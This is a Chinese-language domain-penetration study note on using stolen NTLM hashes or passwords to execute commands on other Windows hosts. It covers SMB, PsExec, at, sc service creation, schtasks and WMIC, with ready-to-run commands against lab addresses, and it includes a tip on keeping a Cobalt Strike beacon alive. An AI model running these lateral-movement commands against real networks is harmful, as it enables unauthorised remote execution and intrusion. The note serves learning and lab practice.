域渗透学习笔记(三、哈希的利用)

从上一节内容中,可以得知,基本上认证过程都不需要明文密码,只需要有哈希即可,现在的服务器大多数都是NTLM哈希了。那么假如现在得到了某个用户的NTLM哈希或者明文密码,可能需要通过这个用户进一步探测是否还有这个用户能控制的服务器,因此总结可能存在的方法如下:

1.smb

1.1 smb简介

SMB全称Server Message Block,也就是服务器消息块协议,是一个应用层和表示层协议。这种协议用于在网络中共享文件、打印机、命名管道(named pipe)等资源。在windows下,计算机通过smb访问远程计算机的资源主要有以下两种方式:

  • 1.\共享计算机地址\共享资源路径:这种方式工作在NetBIOS协议上,使用的是139端口
  • 2.\共享计算机名\共享资源路径:这种方式工作在TCP协议上,使用的是445端口

1.2 smb中的常见概念

  • 1.IPC$:Internet Process Connection,网络中进程间的通信管道,例如使用sc创建服务等都需要用到IPC$。
  • 2.ADMIN$:系统目录共享,官方解释http://www.intelliadmin.com/index.php/2007/10/the-admin-share-explained/。大概意思就是创建服务的时候先把文件传到ADMIN$目录下面,然后用SC创建服务,从而完成软件安装部署。但是如果只是想执行命令,随便传到哪个目录下面也一样可以使用SC命令创建服务。
  • 3.C$D$:逻辑共享,就是普通的共享C盘,D盘一类的

1.3 smb的常见执行命令方法

1.3.1 psexec

PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。神奇的是他用的是smb协议,不是telnet。PsExec可以帮助我们获得交互式的shell窗口。他的工作原理如下:

  • 1、利用某一个账号,通过admin$连接释放psexesvc.exe到目标机器。
  • 2、通过SCManager在远程机器上创建并启动一个名为PSEXESVC的服务.
  • 3、PSEXESVC 服务注册一个新的命名管道。
  • 4、PsExec 连接至 PSEXESVC 新创建的命名管道,通过此管道通知 PSEXESVC 服务在远程机器上面启动我们指定的程序,并将程序的 stdin 与 stdout 通过命名管道转回本地 Shell。

使用方法如下:

PsExec.exe \\192.168.192.210 -u Administrator -w c:/ -p password whoami

缺点:

  • 需要ADMIN$,这里并不是说没有ADMIN$就没办法执行命令,只是这个工具它好像非要把文件传到ADMIN$下面。所以如果没有就会找不到网络路径。

  • 如果命令部分填cmd,会得到一个交互式的窗口,但是会创建一个服务,可能退出的时候删不掉,如下图。

  • 会留下日志

1.3.2 计划任务/创建服务

1.3.2.1 at

此处目标机器地址为192.168.192.175,用户名为Administrator,密码为Ad123456789.

  • 1.建立IPC
net use \\192.168.192.175 Ad123456789. /user:Administrator
  • 2.上传所需执行的bat文件到c盘根目录
copy 1.bat \\192.168.192.175\c$\
  • 3.查看目标机器当前时间
net time \\192.168.192.175
  • 4.创建计划任务
at \\192.168.192.175 13:09 c:\1.bat

经过抓包分析,这种方法一路都是使用的smb协议,走的端口均是445端口。

1.3.2.2 sc命令

刚刚上面说了,其实psexec这个工具如果没有开启ADMIN$就提示找不到网络,其实没有ADMIN$使用smb协议(445端口)也可以执行命令。这里我们删除ADMIN$,留下IPC$和C$。

1.建立IPC

net use \\192.168.192.210 /user:Administrator pop123456.

2.复制要执行的exe文件

copy testSmb.exe \\192.168.192.210\C$\

testSmb.exe代码如下:

#include <stdio.h>
#include <stdlib.h>
int main()
{
    system("echo 11111 >> c:\\1.txt");
    return 0;
}

3.创建一个服务

sc \\192.168.192.210 create MytestSmbService binPath=C:/testSmb.exe
#没有指定启动类型,他这里默认使用的是手工启动

4.启动服务

sc \\192.168.192.210 start MytestSmbService

这里虽然显示服务没有及时响应启动或控制请求。,但是程序是成功执行了的。

注意:如果使用cobaltstrike的beacon上线,默认sleep时间一定要改小,然后迁移进程到别的进程中,不然一段时间没有响应我们所启动服务所对应的进程会被杀死。

2.RPC(Remote Procedure Call)

RPC服务运行在135端口。这个服务提供了访问内部某些服务rpc接口的机会。也就是说,windows系统当中多个服务都可以通过这个端口来访问。有很多程序都是和135端口交互进行的远程管理。以下使用shtasks和wmic作为例子。

2.1 shtasks

如果出现资源错误则需要把命令行窗口编码从936(GBK)切换到437(美国),命令为chcp 437

  • 1.创建计划任务
1.假如可以上传文件上传个1.bat
schtasks /create /s 192.168.192.175 /u administrator /p Ad123456789. /ru "SYSTEM" /tn test /sc DAILY /tr c:\1.bat /F

2.调用cmd执行命令(没有回显)
schtasks /create /s 192.168.192.213 /u administrator /p Ad123456789. /ru "SYSTEM" /tn test /sc DAILY /tr "C:\Windows\System32\cmd.exe /C echo 11111>c:\c.txt" /F 

3.调用powershell执行命令(没有回显)
schtasks /create /s 192.168.192.213 /u administrator /p Ad123456789. /ru "SYSTEM" /tn test /sc DAILY /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command '& {Enable-PSRemoting -Force}'" /F
  • 2.运行计划任务
schtasks /run /s 192.168.192.175 /u administrator /p Ad123456789. /tn test /i
  • 3.删除计划任务
schtasks /delete /s 192.168.192.175 /u administrator /p Ad123456789. /tn test /f
  • 4.查看计划任务
schtasks /query /s 192.168.192.175 /u administrator /p Ad123456789.

参数解释:

/s 指定目标地址
/u 指定用户名
/p 指定密码
/ru 指定运行时的用户权限
/tn 指定用户名称
/sc 指定运行频率
/tr 指定所要执行的脚本
/F 强制进行
/i 立即执行

通过抓包发现这个RPC服务也是用的NTLM Challenge/Response认证,也就是说,也可以使用窃取的哈希进行认证。

2.2 wmi

WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机。windows操作系统中一般会带有WMIC(WMI CommandLine),这是一个WMI客户端,我们可以使用这个客户端连接远程主机进行监控、控制等操作,例如查看进程列表:

WMIC /node:192.168.192.215 /user:administrator /password:Ad1234567890. process list brief

这里WMIC的认证方式在我的工作组环境下,也是使用NTLM Challenge/Response认证。因此也可以使用NTLM哈希进行认证,不需要明文密码。

当然这里也可以使用wmic创建进程从而执行某个命令

WMIC /node:192.168.192.215 /user:administrator /password:Ad1234567890. process call create  "c:\windows\system32\cmd.exe /c echo iLoveWMI > c:\wmires.txt"